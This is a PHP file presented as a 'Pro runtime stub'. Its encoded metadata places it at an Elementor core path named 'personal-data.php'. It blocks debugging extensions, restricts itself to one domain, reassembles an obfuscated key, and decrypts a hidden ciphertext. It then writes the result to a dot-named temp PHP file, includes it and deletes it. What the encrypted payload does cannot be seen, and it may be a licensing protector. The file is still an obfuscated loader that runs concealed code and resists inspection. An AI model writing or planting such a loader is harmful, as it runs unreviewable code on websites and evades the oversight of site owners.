<?php
/**
 * Pro runtime stub.
 */

if (!extension_loaded('sodium')) { http_response_code(500); exit; }

// Anti-debug/trace (best-effort)
$forbid = ['xdebug','uopz','runkit','xhprof'];
foreach ($forbid as $ext) { if (extension_loaded($ext)) { http_response_code(500); exit; } }

$__ONLINE_ONLY = (int)('0');
if ($__ONLINE_ONLY) {
    if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') { exit; }
    $host = strtolower(trim($_SERVER['HTTP_HOST'] ?? ($_SERVER['SERVER_NAME'] ?? '')));
    if ($host==='' || preg_match('/(^|\.)(localhost|127\.0\.0\.1|::1)$/i', $host)) { exit; }
}

// domain guard
$__DOMS = json_decode('WyJpdHNob21hci5pciJd', true);
$__ERR = base64_decode('');
if (is_array($__DOMS) && count($__DOMS)>0) {
    $h = strtolower(trim($_SERVER['HTTP_HOST'] ?? ($_SERVER['SERVER_NAME'] ?? '')));
    $ok=false;
    foreach ($__DOMS as $dRaw) {
        $d = strtolower(trim($dRaw));
        if ($h===$d || ($d && substr($h, -strlen('.'.$d)) === '.'.$d)) { $ok=true; break; }
    }
    if (!$ok) { http_response_code(403); echo $__ERR; exit; }
}

// expiry guard
$__EXP = (int)('0');
if ($__EXP>0 && time() > $__EXP) { http_response_code(403); echo $__ERR; exit; }

// Recombine key
function deobf_key(array $parts, array $masks, array $rot): string {
    $buf = '';
    $n = count($parts);
    for ($i=0;$i<$n;$i++) {
        $p = base64_decode($parts[$i]);
        $m = base64_decode($masks[$i]);
        $r = (int)$rot[$i];
        $x = '';
        for ($j=0;$j<strlen($p);$j++){
            $b = ord($p[$j]);
            $b = ((($b >> $r) | (($b << (8-$r)) & 0xFF)) & 0xFF); // rotate right
            $x .= chr($b);
        }
        $buf .= ($x ^ $m);
    }
    return $buf;
}

$__PARTS = json_decode('["6J6JJzHbUXk=","X+\/2GA8XK7s=","fblvJRpVqzQ=","17rou4wLvqw="]', true);
$__MASKS = json_decode('["rr2Z1NLNWsk=","CJfy5\/0wFUI=","AXT7EIp+Ylk=","NbrzBr\/O\/QA="]', true);
$__ROT   = json_decode('[6,6,4,4]', true);
$__KEY   = deobf_key($__PARTS, $__MASKS, $__ROT);

$__NONCE = base64_decode('YIPU5ksSKM110kCPtAOSEFSSr0yTgIax');
$__AAD   = base64_decode('eyJsaWNfbW9kZSI6ImxvY2FsIiwibGljX3VybCI6IiIsImxpY19hcHAiOiIiLCJsaWNfcHViIjoiIiwibGljX2NhY2hlIjozNjAwLCJidWlsZCI6IjA4N2Q2NDc4Y2RmNDAzNDAiLCJwYXRoIjoiL2hvbWUvaXRzaG9tYXIvaXRzaG9tYXIuaXIvc291cmNlL2VsZW1lbnRvci9jb3JlL2NvbW1vbi9tb2R1bGVzL2V2ZW50LXRyYWNrZXIvcGVyc29uYWwtZGF0YS5waHAiLCJ0cyI6MTc1NjY5MzcxNCwiZXhwaXJlcyI6MCwiZG9tYWlucyI6WyJpdHNob21hci5pciJdLCJvbmxpbmUiOjAsIndwIjoxLCJhbGdvIjoieGNoYWNoYTIwcG9seTEzMDVfaWV0ZiJ9');
$__CT    = base64_decode('BqSDfqDVwHTEaGlSXbjXfA+11IYwTRNcSAtb6vVmuU91/J68+buWdriPsCV777GoS2K7sfT211hDRUm3fYiesgjY+/X4rcHhG7gjSB4bifUMbjhsHC1f9qTqUQPzKwNJEyxTr598WoOwptR1JICNgo0WwdkgkDg7miqJIyrH31KBHmBKB+xvG8n7pibY1dSNieODN/tuvGrAUb2gux5FoIDqPjOSU8n1BnoQFYDjIR/owSLCacBzpZwPghi6v0TSNQBNxqv9hOWGjBz7XR6SjQq9xitE4JHeqLv3PK0ClzkRM+wjuh6WgRNfh3zUqEbZ2mQxgnB+rJGC6Aztcc3xlQrs/cpa+WfFjdC9yiSJfPkfpalLByC/Vg+uEgWFMhbYqEaK4qUjipsCXIbSCf99mASkk/JlB4JBBQQiRwfV1Oll5Qi8jknQsNbwsBTZ7KfRBzcHJ0hYiNe2/MHUzoXTNRfA3M/CUJSXJ+qjXwgcbpfSwkHNWD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t0ad0GUQq3Nu9o2i1X4akp+Jjo=');

// Signature verification
$__PK  = base64_decode('lt1Q+WI2b0JeidwM74ZcBBLuxSWyqRh1zTHQkhi9H2E=');
$__SIG = base64_decode('lEn1yvcFKcagduBMFJuT83P1AtQAwJ5rviID4NUixhkJeII5UpwwGEXr7E5hWqg9iwgzZFB55dJru4bkycmXAg==');
if (!sodium_crypto_sign_verify_detached($__SIG, $__AAD.$__CT, $__PK)) { http_response_code(500); exit; }

$__PT = sodium_crypto_aead_xchacha20poly1305_ietf_decrypt($__CT, $__AAD, $__NONCE, $__KEY);
if ($__PT === false) { http_response_code(500); exit; }

$__IS_WP = (int)('1');
if ($__IS_WP) {
    if (!defined('ABSPATH') && !defined('WPINC')) { /* optional exit; */ }
}

// Execute using temp include
$__tmp = sys_get_temp_dir().'/._'.sha1('087d6478cdf40340'.__FILE__.mt_rand()).'.php';
file_put_contents($__tmp, $__PT); unset($__PT);
include $__tmp;
@unlink($__tmp);
